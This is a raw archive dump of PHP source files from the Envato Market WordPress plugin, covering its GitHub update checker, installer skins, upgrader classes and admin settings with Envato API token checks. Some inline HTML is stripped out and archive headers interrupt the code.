Envato_Market_Items */ public function items() { return Envato_Market_Items::instance(); } public function get_envato_api_domain() { return $this->envato_api_domain; } public function get_envato_api_headers() { return $this->envato_api_headers; } } endif; class-envato-market-github.php000064400000023435151552037310012426 0ustar00init_actions(); } return self::$_instance; } /** * A dummy constructor to prevent this class from being loaded more than once. * * @see Envato_Market_Github::instance() * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function __construct() { /* We do nothing here! */ } /** * You cannot clone this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __clone() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * You cannot unserialize instances of this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * Setup the actions and filters. * * @uses add_action() To add actions. * @uses add_filter() To add filters. * * @since 1.0.0 */ public function init_actions() { // Bail outside of the WP Admin panel. if ( ! is_admin() ) { return; } add_filter( 'http_request_args', array( $this, 'update_check' ), 5, 2 ); add_filter( 'plugins_api', array( $this, 'plugins_api' ), 10, 3 ); add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'update_plugins' ) ); add_filter( 'pre_set_transient_update_plugins', array( $this, 'update_plugins' ) ); add_filter( 'site_transient_update_plugins', array( $this, 'update_state' ) ); add_filter( 'transient_update_plugins', array( $this, 'update_state' ) ); add_action( 'admin_notices', array( $this, 'notice' ) ); add_action( 'wp_ajax_' . self::AJAX_ACTION, array( $this, 'dismiss_notice' ) ); } /** * Check Github for an update. * * @since 1.0.0 * * @return false|object */ public function api_check() { $raw_response = wp_remote_get( self::$api_url ); if ( is_wp_error( $raw_response ) ) { return false; } if ( ! empty( $raw_response['body'] ) ) { $raw_body = json_decode( $raw_response['body'], true ); if ( $raw_body ) { return (object) $raw_body; } } return false; } /** * Disables requests to the wp.org repository for Envato Market. * * @since 1.0.0 * * @param array $request An array of HTTP request arguments. * @param string $url The request URL. * @return array */ public function update_check( $request, $url ) { // Plugin update request. if ( false !== strpos( $url, '//api.wordpress.org/plugins/update-check/1.1/' ) ) { // Decode JSON so we can manipulate the array. $data = json_decode( $request['body']['plugins'] ); // Remove the Envato Market. unset( $data->plugins->{'envato-market/envato-market.php'} ); // Encode back into JSON and update the response. $request['body']['plugins'] = wp_json_encode( $data ); } return $request; } /** * API check. * * @since 1.0.0 * * @param bool $api Always false. * @param string $action The API action being performed. * @param object $args Plugin arguments. * @return mixed $api The plugin info or false. */ public function plugins_api( $api, $action, $args ) { if ( isset( $args->slug ) && 'envato-market' === $args->slug ) { $api_check = $this->api_check(); if ( is_object( $api_check ) ) { $api = $api_check; } } return $api; } /** * Update check. * * @since 1.0.0 * * @param object $transient The pre-saved value of the `update_plugins` site transient. * @return object */ public function update_plugins( $transient ) { $state = $this->state(); if ( 'activated' === $state ) { $api_check = $this->api_check(); if ( is_object( $api_check ) && version_compare( envato_market()->get_version(), $api_check->version, '<' ) ) { $transient->response['envato-market/envato-market.php'] = (object) array( 'slug' => 'envato-market', 'plugin' => 'envato-market/envato-market.php', 'new_version' => $api_check->version, 'url' => 'https://github.com/envato/wp-envato-market', 'package' => $api_check->download_link, ); } } return $transient; } /** * Set the plugin state. * * @since 1.0.0 * * @return string */ public function state() { $option = 'envato_market_state'; $active_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins' ) ); // We also have to check network activated plugins. Otherwise this plugin won't update on multisite. $active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' ); if ( ! is_array( $active_plugins ) ) { $active_plugins = array(); } if ( ! is_array( $active_sitewide_plugins ) ) { $active_sitewide_plugins = array(); } $active_plugins = array_merge( $active_plugins, array_keys( $active_sitewide_plugins ) ); if ( in_array( 'envato-market/envato-market.php', $active_plugins ) ) { $state = 'activated'; update_option( $option, $state ); } else { $state = 'install'; update_option( $option, $state ); foreach ( array_keys( get_plugins() ) as $plugin ) { if ( strpos( $plugin, 'envato-market.php' ) !== false ) { $state = 'deactivated'; update_option( $option, $state ); } } } return $state; } /** * Force the plugin state to be updated. * * @since 1.0.0 * * @param object $transient The saved value of the `update_plugins` site transient. * @return object */ public function update_state( $transient ) { $state = $this->state(); return $transient; } /** * Admin notices. * * @since 1.0.0 * * @return string */ public function notice() { $screen = get_current_screen(); $slug = 'envato-market'; $state = get_option( 'envato_market_state' ); $notice = get_option( self::AJAX_ACTION ); if ( empty( $state ) ) { $state = $this->state(); } if ( 'activated' === $state || 'update-core' === $screen->id || 'update' === $screen->id || 'plugins' === $screen->id && isset( $_GET['action'] ) && 'delete-selected' === $_GET['action'] || 'dismissed' === $notice ) { return; } if ( 'deactivated' === $state ) { $activate_url = add_query_arg( array( 'action' => 'activate', 'plugin' => urlencode( "$slug/$slug.php" ), '_wpnonce' => urlencode( wp_create_nonce( "activate-plugin_$slug/$slug.php" ) ), ), self_admin_url( 'plugins.php' ) ); $message = sprintf( esc_html__( '%1$sActivate the Envato Market plugin%2$s to get updates for your ThemeForest and CodeCanyon items.', 'envato-market' ), '', '' ); } elseif ( 'install' === $state ) { $install_url = add_query_arg( array( 'action' => 'install-plugin', 'plugin' => $slug, ), self_admin_url( 'update.php' ) ); $message = sprintf( esc_html__( '%1$sInstall the Envato Market plugin%2$s to get updates for your ThemeForest and CodeCanyon items.', 'envato-market' ), '', '' ); } if ( isset( $message ) ) { ?>

                    __( 'User not allowed to update items.', 'envato-market' ) ) ); } update_option( self::AJAX_ACTION, 'dismissed' ); wp_send_json_success(); } } if ( ! function_exists( 'envato_market_github' ) ) : /** * Envato_Market_Github Instance * * @since 1.0.0 * * @return Envato_Market_Github */ function envato_market_github() { return Envato_Market_Github::instance(); } endif; /** * Loads the main instance of Envato_Market_Github * * @since 1.0.0 */ add_action( 'after_setup_theme', 'envato_market_github', 99 ); endif; admin/class-envato-market-theme-installer-skin.php000064400000011106151552037310016263 0ustar00upgrader->result['destination_name'] ) ) { return; } $theme_info = $this->upgrader->theme_info(); if ( empty( $theme_info ) ) { return; } $name = $theme_info->display( 'Name' ); $stylesheet = $this->upgrader->result['destination_name']; $template = $theme_info->get_template(); $activate_link = add_query_arg( array( 'action' => 'activate', 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), ), admin_url( 'themes.php' ) ); $activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet ); $install_actions = array(); if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { $install_actions['preview'] = '' . sprintf( __( 'Live Preview “%s”', 'envato-market' ), $name ) . ''; } if ( is_multisite() ) { if ( current_user_can( 'manage_network_themes' ) ) { $install_actions['network_enable'] = '' . __( 'Network Enable', 'envato-market' ) . ''; } } $install_actions['activate'] = '' . sprintf( __( 'Activate “%s”', 'envato-market' ), $name ) . ''; $install_actions['themes_page'] = '' . __( 'Return to Theme Installer', 'envato-market' ) . ''; if ( ! $this->result || is_wp_error( $this->result ) || is_multisite() || ! current_user_can( 'switch_themes' ) ) { unset( $install_actions['activate'], $install_actions['preview'] ); } if ( ! empty( $install_actions ) ) { $this->feedback( implode( ' | ', $install_actions ) ); } } } endif; if ( ! class_exists( 'Envato_Market_Plugin_Installer_Skin' ) ) : /** * Plugin Installer Skin. * * @class Envato_Market_Plugin_Installer_Skin * @version 1.0.0 * @since 1.0.0 */ class Envato_Market_Plugin_Installer_Skin extends Plugin_Installer_Skin { /** * Modify the install actions. * * @since 1.0.0 */ public function after() { $plugin_file = $this->upgrader->plugin_info(); $install_actions = array(); if ( current_user_can( 'activate_plugins' ) ) { $install_actions['activate_plugin'] = '' . __( 'Activate Plugin', 'envato-market' ) . ''; } if ( is_multisite() ) { unset( $install_actions['activate_plugin'] ); if ( current_user_can( 'manage_network_plugins' ) ) { $install_actions['network_activate'] = '' . __( 'Network Activate', 'envato-market' ) . ''; } } $install_actions['plugins_page'] = '' . __( 'Return to Plugin Installer', 'envato-market' ) . ''; if ( ! $this->result || is_wp_error( $this->result ) ) { unset( $install_actions['activate_plugin'], $install_actions['site_activate'], $install_actions['network_activate'] ); } if ( ! empty( $install_actions ) ) { $this->feedback( implode( ' | ', $install_actions ) ); } } } endif; admin/class-envato-market-theme-upgrader.php000064400000003723151552037310015143 0ustar00strings['downloading_package'] = __( 'Downloading the Envato Market upgrade package…', 'envato-market' ); } /** * Initialize the install strings. * * @since 1.0.0 */ public function install_strings() { parent::install_strings(); $this->strings['downloading_package'] = __( 'Downloading the Envato Market install package…', 'envato-market' ); } } endif; if ( ! class_exists( 'Envato_Market_Plugin_Upgrader' ) ) : /** * Extends the WordPress Plugin_Upgrader class. * * This class makes modifications to the strings during install & upgrade. * * @class Envato_Market_Plugin_Upgrader * @version 1.0.0 * @since 1.0.0 */ class Envato_Market_Plugin_Upgrader extends Plugin_Upgrader { /** * Initialize the upgrade strings. * * @since 1.0.0 */ public function upgrade_strings() { parent::upgrade_strings(); $this->strings['downloading_package'] = __( 'Downloading the Envato Market upgrade package…', 'envato-market' ); } /** * Initialize the install strings. * * @since 1.0.0 */ public function install_strings() { parent::install_strings(); $this->strings['downloading_package'] = __( 'Downloading the Envato Market install package…', 'envato-market' ); } } endif; admin/class-envato-market-admin.php000064400000162261151552037310013325 0ustar00init_actions(); } return self::$_instance; } /** * A dummy constructor to prevent this class from being loaded more than once. * * @see Envato_Market_Admin::instance() * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function __construct() { /* We do nothing here! */ } /** * You cannot clone this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __clone() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * You cannot unserialize instances of this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * Setup the hooks, actions and filters. * * @uses add_action() To add actions. * @uses add_filter() To add filters. * * @since 1.0.0 */ public function init_actions() { // @codeCoverageIgnoreStart if ( false === envato_market()->get_data( 'admin' ) && false === envato_market()->get_option( 'is_plugin_active' ) ) { // Turns the UI off if allowed. return; } // @codeCoverageIgnoreEnd // Deferred Download. add_action( 'upgrader_package_options', array( $this, 'maybe_deferred_download' ), 9 ); // Add pre download filter to help with 3rd party plugin integration. add_filter( 'upgrader_pre_download', array( $this, 'upgrader_pre_download' ), 2, 4 ); // Add item AJAX handler. add_action( 'wp_ajax_' . self::AJAX_ACTION . '_add_item', array( $this, 'ajax_add_item' ) ); // Remove item AJAX handler. add_action( 'wp_ajax_' . self::AJAX_ACTION . '_remove_item', array( $this, 'ajax_remove_item' ) ); // Health check AJAX handler add_action( 'wp_ajax_' . self::AJAX_ACTION . '_healthcheck', array( $this, 'ajax_healthcheck' ) ); // Maybe delete the site transients. add_action( 'init', array( $this, 'maybe_delete_transients' ), 11 ); // Add the menu. add_action( 'admin_menu', array( $this, 'add_menu_page' ) ); // Register the settings. add_action( 'admin_init', array( $this, 'register_settings' ) ); // We may need to redirect after an item is enabled. add_action( 'current_screen', array( $this, 'maybe_redirect' ) ); // Add authorization notices. add_action( 'current_screen', array( $this, 'add_notices' ) ); // Set the API values. add_action( 'current_screen', array( $this, 'set_items' ) ); // Hook to verify the API token before saving it. add_filter( 'pre_update_option_' . envato_market()->get_option_name(), array( $this, 'check_api_token_before_saving', ), 9, 3 ); add_filter( 'pre_update_site_option_' . envato_market()->get_option_name(), array( $this, 'check_api_token_before_saving', ), 9, 3 ); // When network enabled, add the network options menu. add_action( 'network_admin_menu', array( $this, 'add_menu_page' ) ); // Ability to make use of the Settings API when in multisite mode. add_action( 'network_admin_edit_envato_market_network_settings', array( $this, 'save_network_settings' ) ); } /** * This runs before we save the Envato Market options array. * If the token has changed then we set a transient so we can do the update check. * * @param array $value The option to save. * @param array $old_value The old option value. * @param array $option Serialized option value. * * @return array $value The updated option value. * @since 2.0.1 */ public function check_api_token_before_saving( $value, $old_value, $option ) { if ( ! empty( $value['token'] ) && ( empty( $old_value['token'] ) || $old_value['token'] != $value['token'] || isset( $_POST['envato_market'] ) ) ) { set_site_transient( envato_market()->get_option_name() . '_check_token', $value['token'], HOUR_IN_SECONDS ); } return $value; } /** * Defers building the API download url until the last responsible moment to limit file requests. * * Filter the package options before running an update. * * @param array $options { * Options used by the upgrader. * * @type string $package Package for update. * @type string $destination Update location. * @type bool $clear_destination Clear the destination resource. * @type bool $clear_working Clear the working resource. * @type bool $abort_if_destination_exists Abort if the Destination directory exists. * @type bool $is_multi Whether the upgrader is running multiple times. * @type array $hook_extra Extra hook arguments. * } * @since 1.0.0 */ public function maybe_deferred_download( $options ) { $package = $options['package']; if ( false !== strrpos( $package, 'deferred_download' ) && false !== strrpos( $package, 'item_id' ) ) { parse_str( parse_url( $package, PHP_URL_QUERY ), $vars ); if ( $vars['item_id'] ) { $args = $this->set_bearer_args( $vars['item_id'] ); $options['package'] = envato_market()->api()->download( $vars['item_id'], $args ); } } return $options; } /** * We want to stop certain popular 3rd party scripts from blocking the update process by * adjusting the plugin name slightly so the 3rd party plugin checks stop. * * Currently works for: Visual Composer. * * @param string $reply Package URL. * @param string $package Package URL. * @param object $updater Updater Object. * * @return string $reply New Package URL. * @since 2.0.0 */ public function upgrader_pre_download( $reply, $package, $updater ) { if ( strpos( $package, 'marketplace.envato.com/short-dl' ) !== false ) { if ( isset( $updater->skin->plugin_info ) && ! empty( $updater->skin->plugin_info['Name'] ) ) { $updater->skin->plugin_info['Name'] = $updater->skin->plugin_info['Name'] . '.'; } else { $updater->skin->plugin_info = array( 'Name' => 'Name', ); } } return $reply; } /** * Returns the bearer arguments for a request with a single use API Token. * * @param int $id The item ID. * * @return array * @since 1.0.0 */ public function set_bearer_args( $id ) { $token = ''; $args = array(); foreach ( envato_market()->get_option( 'items', array() ) as $item ) { if ( absint( $item['id'] ) === absint( $id ) ) { $token = $item['token']; break; } } if ( ! empty( $token ) ) { $args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $token, ), ); } return $args; } /** * Maybe delete the site transients. * * @since 1.0.0 * @codeCoverageIgnore */ public function maybe_delete_transients() { if ( isset( $_POST[ envato_market()->get_option_name() ] ) ) { // Nonce check. if ( isset( $_POST['_wpnonce'] ) && ! wp_verify_nonce( $_POST['_wpnonce'], envato_market()->get_slug() . '-options' ) ) { wp_die( __( 'You do not have sufficient permissions to delete transients.', 'envato-market' ) ); } self::delete_transients(); } elseif ( ! envato_market()->get_option( 'installed_version', 0 ) || version_compare( envato_market()->get_version(), envato_market()->get_option( 'installed_version', 0 ), '<' ) ) { // When the plugin updates we want to delete transients. envato_market()->set_option( 'installed_version', envato_market()->get_version() ); self::delete_transients(); } } /** * Delete the site transients. * * @since 1.0.0 * @access private */ private function delete_transients() { delete_site_transient( envato_market()->get_option_name() . '_themes' ); delete_site_transient( envato_market()->get_option_name() . '_plugins' ); } /** * Prints out all settings sections added to a particular settings page in columns. * * @param string $page The slug name of the page whos settings sections you want to output. * @param int $columns The number of columns in each row. * * @since 1.0.0 * * @global array $wp_settings_sections Storage array of all settings sections added to admin pages * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections */ public static function do_settings_sections( $page, $columns = 2 ) { global $wp_settings_sections, $wp_settings_fields; // @codeCoverageIgnoreStart if ( ! isset( $wp_settings_sections[ $page ] ) ) { return; } // @codeCoverageIgnoreEnd foreach ( (array) $wp_settings_sections[ $page ] as $section ) { // @codeCoverageIgnoreStart if ( ! isset( $wp_settings_fields ) || ! isset( $wp_settings_fields[ $page ] ) || ! isset( $wp_settings_fields[ $page ][ $section['id'] ] ) ) { continue; } // @codeCoverageIgnoreEnd // Set the column class. $class = 'envato-market-block'; ?>
                    ' . esc_html( $section['title'] ) . '' . "\n"; } if ( ! empty( $section['callback'] ) ) { call_user_func( $section['callback'], $section ); } ?>
                    ', esc_html__( 'Upgrade message from the plugin author:', 'oceanwp' ), ' ', wp_kses_data( $item['upgrade_notice'] ), '
                    '; $page = add_menu_page( __( 'Envato Market', 'envato-market' ), __( 'Envato Market', 'envato-market' ), 'manage_options', envato_market()->get_slug(), array( $this, 'render_admin_callback', ), 'data:image/svg+xml;base64,' . base64_encode($svg_icon) ); // Enqueue admin CSS. add_action( 'admin_print_styles-' . $page, array( $this, 'admin_enqueue_style' ) ); // Enqueue admin JavaScript. add_action( 'admin_print_scripts-' . $page, array( $this, 'admin_enqueue_script' ) ); // Add Underscore.js templates. add_action( 'admin_footer-' . $page, array( $this, 'render_templates' ) ); } /** * Enqueue admin css. * * @since 1.0.0 */ public function admin_enqueue_style() { $file_url = envato_market()->get_plugin_url() . 'css/envato-market' . ( is_rtl() ? '-rtl' : '' ) . '.css'; wp_enqueue_style( envato_market()->get_slug(), $file_url, array( 'wp-jquery-ui-dialog' ), envato_market()->get_version() ); } /** * Enqueue admin script. * * @since 1.0.0 */ public function admin_enqueue_script() { $min = ( WP_DEBUG ? '' : '.min' ); $slug = envato_market()->get_slug(); $version = envato_market()->get_version(); $plugin_url = envato_market()->get_plugin_url(); wp_enqueue_script( $slug, $plugin_url . 'js/envato-market' . $min . '.js', array( 'jquery', 'jquery-ui-dialog', 'wp-util', ), $version, true ); wp_enqueue_script( $slug . '-updates', $plugin_url . 'js/updates' . $min . '.js', array( 'jquery', 'updates', 'wp-a11y', 'wp-util', ), $version, true ); // Script data array. $exports = array( 'nonce' => wp_create_nonce( self::AJAX_ACTION ), 'action' => self::AJAX_ACTION, 'i18n' => array( 'save' => __( 'Save', 'envato-market' ), 'remove' => __( 'Remove', 'envato-market' ), 'cancel' => __( 'Cancel', 'envato-market' ), 'error' => __( 'An unknown error occurred. Try again.', 'envato-market' ), ), ); // Export data to JS. wp_scripts()->add_data( $slug, 'data', sprintf( 'var _envatoMarket = %s;', wp_json_encode( $exports ) ) ); } /** * Underscore (JS) templates for dialog windows. * * @codeCoverageIgnore */ public function render_templates() { ?> get_slug(), envato_market()->get_option_name() ); // OAuth section. add_settings_section( envato_market()->get_option_name() . '_oauth_section', __( 'Getting Started (Simple)', 'envato-market' ), array( $this, 'render_oauth_section_callback' ), envato_market()->get_slug() ); // Token setting. add_settings_field( 'token', __( 'Token', 'envato-market' ), array( $this, 'render_token_setting_callback' ), envato_market()->get_slug(), envato_market()->get_option_name() . '_oauth_section' ); // Items section. add_settings_section( envato_market()->get_option_name() . '_items_section', __( 'Single Item Tokens (Advanced)', 'envato-market' ), array( $this, 'render_items_section_callback' ), envato_market()->get_slug() ); // Items setting. add_settings_field( 'items', __( 'Envato Market Items', 'envato-market' ), array( $this, 'render_items_setting_callback' ), envato_market()->get_slug(), envato_market()->get_option_name() . '_items_section' ); } /** * Redirect after the enable action runs. * * @since 1.0.0 * @codeCoverageIgnore */ public function maybe_redirect() { if ( $this->are_we_on_settings_page() ) { if ( ! empty( $_GET['action'] ) && 'install-theme' === $_GET['action'] && ! empty( $_GET['enabled'] ) ) { wp_safe_redirect( esc_url( envato_market()->get_page_url() ) ); exit; } } } /** * Add authorization notices. * * @since 1.0.0 */ public function add_notices() { if ( $this->are_we_on_settings_page() ) { // @codeCoverageIgnoreStart if ( get_site_transient( envato_market()->get_option_name() . '_check_token' ) || ( isset( $_GET['authorization'] ) && 'check' === $_GET['authorization'] ) ) { delete_site_transient( envato_market()->get_option_name() . '_check_token' ); self::authorization_redirect(); } // @codeCoverageIgnoreEnd // Get the option array. $option = envato_market()->get_options(); // Display success/error notices. if ( ! empty( $option['notices'] ) ) { self::delete_transients(); // Show succes notice. if ( isset( $option['notices']['success'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_success_notice', ) ); } // Show succes no-items notice. if ( isset( $option['notices']['success-no-items'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_success_no_items_notice', ) ); } // Show single-use succes notice. if ( isset( $option['notices']['success-single-use'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_success_single_use_notice', ) ); } // Show error notice. if ( isset( $option['notices']['error'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_notice', ) ); } // Show invalid permissions error notice. if ( isset( $option['notices']['error-permissions'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_permissions', ) ); } // Show single-use error notice. if ( isset( $option['notices']['error-single-use'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_single_use_notice', ) ); } // Show missing zip notice. if ( isset( $option['notices']['missing-package-zip'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_missing_zip', ) ); } // Show missing http connection error. if ( isset( $option['notices']['http_error'] ) ) { add_action( ( ENVATO_MARKET_NETWORK_ACTIVATED ? 'network_' : '' ) . 'admin_notices', array( $this, 'render_error_http', ) ); } // Update the saved data so the notice disappears on the next page load. unset( $option['notices'] ); envato_market()->set_options( $option ); } } } /** * Set the API values. * * @since 1.0.0 */ public function set_items() { if ( $this->are_we_on_settings_page() ) { envato_market()->items()->set_themes(); envato_market()->items()->set_plugins(); } } /** * Check if we're on the settings page. * * @since 2.0.0 * @access private */ private function are_we_on_settings_page() { return 'toplevel_page_' . envato_market()->get_slug() === get_current_screen()->id || 'toplevel_page_' . envato_market()->get_slug() . '-network' === get_current_screen()->id; } /** * Check for authorization and redirect. * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function authorization_redirect() { self::authorization(); wp_safe_redirect( esc_url( envato_market()->get_page_url() . '#settings' ) ); exit; } /** * Set the Envato API authorization value. * * @since 1.0.0 */ public function authorization() { // Get the option array. $option = envato_market()->get_options(); $option['notices'] = array(); // Check for global token. if ( envato_market()->get_option( 'token' ) || envato_market()->api()->token ) { $notice = 'success'; $scope_check = $this->authorize_token_permissions(); if ( 'http_error' === $scope_check ) { $notice = 'http_error'; } elseif ( 'error' === $this->authorize_total_items() || 'error' === $scope_check ) { $notice = 'error'; } else { if ( 'missing-permissions' == $scope_check ) { $notice = 'error-permissions'; } elseif ( 'too-many-permissions' === $scope_check ) { $notice = 'error-permissions'; } else { $themes_notice = $this->authorize_themes(); $plugins_notice = $this->authorize_plugins(); if ( 'error' === $themes_notice || 'error' === $plugins_notice ) { $notice = 'error'; } elseif ( 'success-no-themes' === $themes_notice && 'success-no-plugins' === $plugins_notice ) { $notice = 'success-no-items'; } } } $option['notices'][ $notice ] = true; } // Check for single-use token. if ( ! empty( $option['items'] ) ) { $failed = false; foreach ( $option['items'] as $key => $item ) { if ( empty( $item['name'] ) || empty( $item['token'] ) || empty( $item['id'] ) || empty( $item['type'] ) || empty( $item['authorized'] ) ) { continue; } $request_args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $item['token'], ), ); // Uncached API response with single-use token. $response = envato_market()->api()->item( $item['id'], $request_args ); if ( ! is_wp_error( $response ) && isset( $response['id'] ) ) { $option['items'][ $key ]['authorized'] = 'success'; } else { if ( is_wp_error( $response ) ) { $this->store_additional_error_debug_information( 'Unable to query single item ID ' . $item['id'], $response->get_error_message(), $response->get_error_data() ); } $failed = true; $option['items'][ $key ]['authorized'] = 'failed'; } } if ( true === $failed ) { $option['notices']['error-single-use'] = true; } else { $option['notices']['success-single-use'] = true; } } // Set the option array. if ( ! empty( $option['notices'] ) ) { envato_market()->set_options( $option ); } } /** * Check that themes are authorized. * * @return bool * @since 1.0.0 */ public function authorize_total_items() { $domain = envato_market()->get_envato_api_domain(); $path = envato_market()->api()->api_path_for('total-items'); $url = $domain . $path; $response = envato_market()->api()->request( $url ); $notice = 'success'; if ( is_wp_error( $response ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Failed to query total number of items in API response', $response->get_error_message(), $response->get_error_data() ); } elseif ( ! isset( $response['total-items'] ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Incorrect response from API when querying total items' ); } return $notice; } /** * Get the required API permissions for this plugin to work. * * @single 2.0.1 * * @return array */ public function get_required_permissions() { return apply_filters( 'envato_market_required_permissions', array( 'default' => 'View and search Envato sites', 'purchase:download' => 'Download your purchased items', 'purchase:list' => 'List purchases you\'ve made', ) ); } /** * Return the URL a user needs to click to generate a personal token. * * @single 2.0.1 * * @return string The full URL to request a token. */ public function get_generate_token_url() { return 'https://build.envato.com/create-token/?' . implode( '&', array_map( function ( $val ) { return $val . '=t'; }, array_keys( $this->get_required_permissions() ) ) ); } /** * Check that themes are authorized. * * @return bool * @since 1.0.0 */ public function authorize_token_permissions() { if ( defined('ENVATO_LOCAL_DEVELOPMENT') ) { return 'success'; } $notice = 'success'; $response = envato_market()->api()->request( 'https://api.envato.com/whoami' ); if ( is_wp_error( $response ) && ( $response->get_error_code() === 'http_error' || $response->get_error_code() == 500 ) ) { $this->store_additional_error_debug_information( 'An error occured checking token permissions', $response->get_error_message(), $response->get_error_data() ); $notice = 'http_error'; } elseif ( is_wp_error( $response ) || ! isset( $response['scopes'] ) || ! is_array( $response['scopes'] ) ) { $this->store_additional_error_debug_information( 'No scopes found in API response message', $response->get_error_message(), $response->get_error_data() ); $notice = 'error'; } else { $minimum_scopes = $this->get_required_permissions(); $maximum_scopes = array( 'default' => 'Default' ) + $minimum_scopes; foreach ( $minimum_scopes as $required_scope => $required_scope_name ) { if ( ! in_array( $required_scope, $response['scopes'] ) ) { // The scope minimum required scope doesn't exist. $this->store_additional_error_debug_information( 'Could not find required API permission scope in output.', $required_scope ); $notice = 'missing-permissions'; } } foreach ( $response['scopes'] as $scope ) { if ( ! isset( $maximum_scopes[ $scope ] ) ) { // The available scope is outside our maximum bounds. $this->store_additional_error_debug_information( 'Found too many permissions on token.', $scope ); $notice = 'too-many-permissions'; } } } return $notice; } /** * Check that themes or plugins are authorized and downloadable. * * @param string $type The filter type, either 'themes' or 'plugins'. Default 'themes'. * * @return bool|null * @since 1.0.0 */ public function authorize_items( $type = 'themes' ) { $domain = envato_market()->get_envato_api_domain(); $path = envato_market()->api()->api_path_for('list-purchases'); $api_url = $domain . $path . '?filter_by=wordpress-' . $type; $response = envato_market()->api()->request( $api_url ); $notice = 'success'; if ( is_wp_error( $response ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Error listing buyer purchases.', $response->get_error_message(), $response->get_error_data() ); } elseif ( empty( $response ) ) { $notice = 'error'; $this->store_additional_error_debug_information( 'Empty API result listing buyer purchases' ); } elseif ( empty( $response['results'] ) ) { $notice = 'success-no-' . $type; } else { shuffle( $response['results'] ); $item = array_shift( $response['results'] ); if ( ! isset( $item['item']['id'] ) || ! envato_market()->api()->download( $item['item']['id'] ) ) { $this->store_additional_error_debug_information( 'Failed to find the correct item format in API response' ); $notice = 'error'; } } return $notice; } /** * Check that themes are authorized. * * @return bool * @since 1.0.0 */ public function authorize_themes() { return $this->authorize_items( 'themes' ); } /** * Check that plugins are authorized. * * @return bool * @since 1.0.0 */ public function authorize_plugins() { return $this->authorize_items( 'plugins' ); } /** * Install plugin. * * @param string $plugin The plugin item ID. * * @since 1.0.0 * @codeCoverageIgnore */ public function install_plugin( $plugin ) { if ( ! current_user_can( 'install_plugins' ) ) { $msg = '

                    ' . __( 'Installing Plugin...', 'envato-market' ) . '

                    ' . __( 'You do not have sufficient permissions to install plugins on this site.', 'envato-market' ) . '

                    ' . __( 'Return to Plugin Installer', 'envato-market' ) . '
                    '; wp_die( $msg ); } check_admin_referer( 'install-plugin_' . $plugin ); envato_market()->items()->set_plugins( true ); $install = envato_market()->items()->plugins( 'install' ); $api = new stdClass(); foreach ( $install as $value ) { if ( absint( $value['id'] ) === absint( $plugin ) ) { $api->name = $value['name']; $api->version = $value['version']; } } $array_api = (array) $api; if ( empty( $array_api ) ) { $msg = '

                    ' . __( 'Installing Plugin...', 'envato-market' ) . '

                    ' . __( 'An error occurred, please check that the item ID is correct.', 'envato-market' ) . '

                    ' . __( 'Return to Plugin Installer', 'envato-market' ) . '
                    '; wp_die( $msg ); } $title = sprintf( __( 'Installing Plugin: %s', 'envato-market' ), esc_html( $api->name . ' ' . $api->version ) ); $nonce = 'install-plugin_' . $plugin; $url = 'admin.php?page=' . envato_market()->get_slug() . '&action=install-plugin&plugin=' . urlencode( $plugin ); $type = 'web'; // Install plugin type, From Web or an Upload. $api->download_link = envato_market()->api()->download( $plugin, $this->set_bearer_args( $plugin ) ); // Must have the upgrader & skin. require envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-upgrader.php'; require envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-installer-skin.php'; $upgrader = new Envato_Market_Plugin_Upgrader( new Envato_Market_Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) ); $upgrader->install( $api->download_link ); } /** * Install theme. * * @param string $theme The theme item ID. * * @since 1.0.0 * @codeCoverageIgnore */ public function install_theme( $theme ) { if ( ! current_user_can( 'install_themes' ) ) { $msg = '

                    ' . __( 'Installing Theme...', 'envato-market' ) . '

                    ' . __( 'You do not have sufficient permissions to install themes on this site.', 'envato-market' ) . '

                    ' . __( 'Return to Theme Installer', 'envato-market' ) . '
